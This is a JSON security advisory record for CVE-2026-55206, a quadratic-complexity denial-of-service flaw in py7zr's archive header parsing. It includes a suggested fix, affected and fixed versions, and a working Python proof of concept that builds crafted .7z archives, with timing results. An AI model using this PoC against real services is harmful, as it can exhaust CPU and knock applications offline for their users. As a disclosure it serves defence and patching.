{"id":"CVE-2026-55206","aliases":["GHSA-h4gh-22qq-72r7","PYSEC-2026-2973"],"url":"https://o3.security/vulnerability/CVE-2026-55206","summary":"py7zr: O(n^2) algorithmic complexity DoS in PackInfo._read()","details":"### Summary\n\nPackInfo._read() uses an O(n^2) cumulative sum pattern where\n  numstreams is read directly from the archive header. A crafted .7z\n  archive with a large numstreams value causes excessive CPU consumption\n   during SevenZipFile.__init__() — no extraction is needed. A 50 KB\n  archive takes ~7 seconds of CPU time.\n\n### Details\n\n  The vulnerable code is in PackInfo._read() (archiveinfo.py):\n\n  self.packpositions = [sum(self.packsizes[:i]) for i in\n  range(self.numstreams + 1)]\n\n  numstreams is parsed from the archive header via read_uint64() and is\n  attacker-controlled. Each sum(self.packsizes[:i]) re-sums from the\n  beginning, producing O(n^2) total work. This runs during header\n  parsing in SevenZipFile.__init__(), before any extraction.\n\n  Suggested fix — replace with O(n) cumulative sum:\n\n  from itertools import accumulate\n  self.packpositions = [0] + list(accumulate(self.packsizes))\n### PoC\n``` import struct, io, binascii, time\n  import py7zr\n  from py7zr.archiveinfo import write_uint64, PROPERTY\n\n  MAGIC = b'\\x37\\x7a\\xbc\\xaf\\x27\\x1c'\n\n  def encode_uint64(v):\n      buf = io.BytesIO()\n      write_uint64(buf, v)\n      return buf.getvalue()\n\n  def build_7z_with_streams(numstreams):\n      header = io.BytesIO()\n      header.write(PROPERTY.HEADER)\n      header.write(PROPERTY.MAIN_STREAMS_INFO)\n      header.write(PROPERTY.PACK_INFO)\n      header.write(encode_uint64(0))\n      header.write(encode_uint64(numstreams))\n      header.write(PROPERTY.SIZE)\n      for _ in range(numstreams):\n          header.write(encode_uint64(1))\n      header.write(PROPERTY.END)\n      header.write(PROPERTY.END)\n      header.write(PROPERTY.END)\n      header_data = header.getvalue()\n\n      out = io.BytesIO()\n      out.write(MAGIC)\n      out.write(b'\\x00\\x04')\n      next_crc = binascii.crc32(header_data) & 0xFFFFFFFF\n      start_header = (struct.pack('<Q', 0)\n                      + struct.pack('<Q', len(header_data))\n                      + struct.pack('<I', next_crc))\n      out.write(struct.pack('<I', binascii.crc32(start_header) &\n  0xFFFFFFFF))\n      out.write(start_header)\n      out.write(header_data)\n      return out.getvalue()\n\n  for n in [1000, 5000, 10000, 30000, 50000]:\n      archive = build_7z_with_streams(n)\n      start = time.time()\n      try:\n          with py7zr.SevenZipFile(io.BytesIO(archive), 'r') as z:\n              pass\n      except Exception:\n          # The crafted archive may later raise due to being malformed,\n          # but the quadratic work has already been performed during\n          # header parsing in SevenZipFile.__init__().\n          pass\n      elapsed = time.time() - start\n      print(f\"n={n:6d}  size={len(archive):8d} bytes\n  time={elapsed:.3f}s\")\n```\n  Tested on py7zr 1.1.0, Python 3.12.3, Linux x86_64.\n\n  Results:\n\n  n=  1000  size=    1042 bytes  time=0.004s\n  n=  5000  size=    5042 bytes  time=0.071s\n  n= 10000  size=   10042 bytes  time=0.291s\n  n= 30000  size=   30043 bytes  time=2.609s\n  n= 50000  size=   50043 bytes  time=7.097s\n### Impact\n\nDenial of Service. Any application that opens .7z archives from\n  untrusted sources using py7zr.SevenZipFile() can be caused to consume\n  excessive CPU time with a small crafted archive. The quadratic cost\n  occurs during header parsing, before any content extraction.","published":"2026-07-08T20:32:09.905Z","modified":"2026-08-12T03:51:44.548004557Z","cvss":null,"epss":{"score":0.00321,"percentile":0.25157,"asOf":"2026-09-17"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"py7zr","fixedVersion":"1.1.3"}],"fix":{"url":"https://github.com/miurahr/py7zr/commit/d7aa3a197d15c75a65b24f796d3a69f83806d3f8","label":"miurahr/py7zr@d7aa3a1"},"references":[{"type":"WEB","url":"https://github.com/miurahr/py7zr/releases/tag/v1.1.3"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/55xxx/CVE-2026-55206.json"},{"type":"ADVISORY","url":"https://github.com/miurahr/py7zr/security/advisories/GHSA-h4gh-22qq-72r7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55206"},{"type":"FIX","url":"https://github.com/miurahr/py7zr/commit/d7aa3a197d15c75a65b24f796d3a69f83806d3f8"},{"type":"PACKAGE","url":"https://github.com/miurahr/py7zr"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:44.548004557Z"}}